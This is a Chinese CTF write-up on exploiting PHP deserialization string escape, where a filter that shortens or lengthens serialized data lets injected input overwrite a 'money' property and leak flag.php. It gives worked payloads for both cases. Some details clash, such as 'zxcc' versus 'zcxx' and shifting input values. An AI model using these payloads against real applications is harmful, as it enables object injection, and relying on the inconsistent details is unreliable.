前言
赛后环境就关闭了,本地复现一下。
题目内容
代码分析
1.以get方式传入name和pwd的值,分别赋值给对象login的两个属性name,pwd
2.对象login的属性money赋值为999
3.对于对象login的序列化数据进行过滤,如果包含abc或者zxcc,则替换为空,最后将过滤后的数据赋值给变量new
4.反序列化$new,赋值给变量last
5.判断last的属性money的值是否小于1000,反之则输出flag.php的源码
解题详解
做题之前我们看一下filter($str)方法,这个方法是对序列化的数据进行正则匹配,匹配到对应的字符串则会替换。如若发生替换行为,则会改变序列化数据的内容以及长度。
下面看一个简单的序列化和反序列化数据
<?php
$a = "123";
echo serialize($a);//s:3:"123";
echo "\r\n";
echo unserialize(serialize($a));
$b = 's:4:"123""';
echo "\r\n";
echo unserialize($b);//123"
?>
输出结果为:
s:3:"123";
123
123"
我们可以看到,序列化后的字符串以"作为分隔符,但是注入"并没有导致后面的内容逃逸。这是因为反序列化时,反序列化引擎是根据长度来判断的。所以,当程序在对序列化之后的字符串进行过滤转义导致字符串内容变长/变短时,就会导致反序列化无法得到正常结果
字符串变短溢出
本题属于利用对序列化之后的字符进行过滤导致变短从而导致字符串溢出,首先先构造一下正常的序列化数据
http://192.xxx.xxx.xxx/space/index123.php?name=111&pwd=222
得到序列化数据
a:3:{s:4:"name";s:3:"111";s:3:"pwd";s:3:"222";s:5:"money";s:3:"999";}
直接进行反序列化的话,其中money=999,属于非预期的值,所以我们需要在反序列之前,也就是在对序列化数据过滤的时候改变字符长度并且加入相应的payload。
首先我们知道filter()方法碰到abc或者zxcc会替换成空,也就是说触发了filter()的序列化字符串会变短
,所以我们需要在变短的数据后面插入我们想要的序列化数据来填充之前缺失的长度,以此来保证发序列化可以正常的进行
接下来初步构造我们需要用来覆盖的money序列化数据:
";s:5:"money";s:4:"1001";}
取出属性name序列化字符串的111后的数据到属性pwd序列化字符串的"前的数据
取出的字符串如下,长度为20
";s:3:"pwd";s:3:"222
下面我们需要做的是利用filter()方法过滤掉20长度的数据,将上述字符串拼接到属性name的序列化数据中。zcxx长度是4,刚好5个zcxx就是20,所以初步payload为:
name=111zcxxzcxxzcxxzcxxzcxxz&pwd=222";s:5:"money";s:4:"1001";}
这里要注意一点,属性pwd增加了money序列化数据之后,长度由原来的3变成了29,多了一位
。
a:3:{s:4:"name";s:23:"123zcxxzcxxzcxxzcxxzcxx";s:3:"pwd";s:29:"12";s:5:"money";s:4:"1001";}
为了满足name的长度,pwd应该减少以为,于是payload修改为
name=111zcxxzcxxzcxxzcxxzcxxz&pwd=22";s:5:"money";s:4:"1001";}
又因为本地存在三个属性,我们将pwd属性序列化数据拼接到了name中之后,只有name和money,不符合序列化属性个数,所以我们随意添加一个属性构造payload
name=123zcxxzcxxzcxxzcxxzcxx&pwd=12";s:5:"money";s:4:"1001";s:4:"mone";s:3:"999";}
发送payload,成功覆盖money的值为1001
查看源码,获得flag
字符串变长溢出
在上题的基础上稍稍修改一下源码,filter()方法变成匹配到’z’就替换成’wh’
字符串变长溢出对于变短溢出,长度更容易计算一点
首先依然是构造覆盖的money序列化数据
";s:5:"money";s:4:"1001";}
计算这一段payload的长度,为26
覆盖原理:将上述payload赋值给pwd,将其序列化,经过过滤的序列化数据会变长,通过变长的数据闭合name属性使payload逃逸,变成独立的序列化属性,最终在反序列化的时候将money覆盖。
不做任何处理的序列化数据为:
a:3:{s:4:"name";s:3:"123";s:3:"pwd";s:2:"12";s:5:"money";s:3:"999";}
payload1:构造money为1001,并用"闭合序列化表达式
name=123&pwd=12";s:5:"money";s:4:"1001";}
得到的序列化数据为:
a:3:{s:4:"name";s:3:"123";s:3:"pwd";s:28:"12";s:5:"money";s:4:"1001";}";s:5:"money";s:3:"999";}
payload2:长度为26,由于filter()是将z变为wh,增加1位,我们需要增加26位,也就是26个z
name=123&pwd=12zzzzzzzzzzzzzzzzzzzzzzzzzz";s:5:"money";s:4:"1001";}
得到序列化后的数据为:
a:3:{s:4:"name";s:3:"123";s:3:"pwd";s:54:"12whwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwh";s:5:"money";s:4:"1001";}";s:5:"money";s:3:"999";}
我们可以看到变长之后的pwd值得长度刚好为54再加上"完成闭合,导致字符串逃逸
反序列化得数据为:
array(3) { ["name"]=> string(3) "123" ["pwd"]=> string(54) "12whwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwhwh" ["money"]=> string(4) "1001" }
我们可以看到反序列化得money已经覆盖为1001
得到flag
除此之外还可以利用数组得方式传递数据,但是要稍微改一下payload
构造用来覆盖的序列化数据
";}s:5:"money";s:4:"1001";}
长度为27
paload:改为
name=123&pwd[]=12zzzzzzzzzzzzzzzzzzzzzzzzzzz";}s:5:“money”;s:4:“1001”;}
后续步骤同上
【我们的言语,既会千山万水,迷障横生,也能铺路搭桥,柳暗花明。故而与亲近之人朝夕久处,不可说气话,不可说反话,不可不说话。】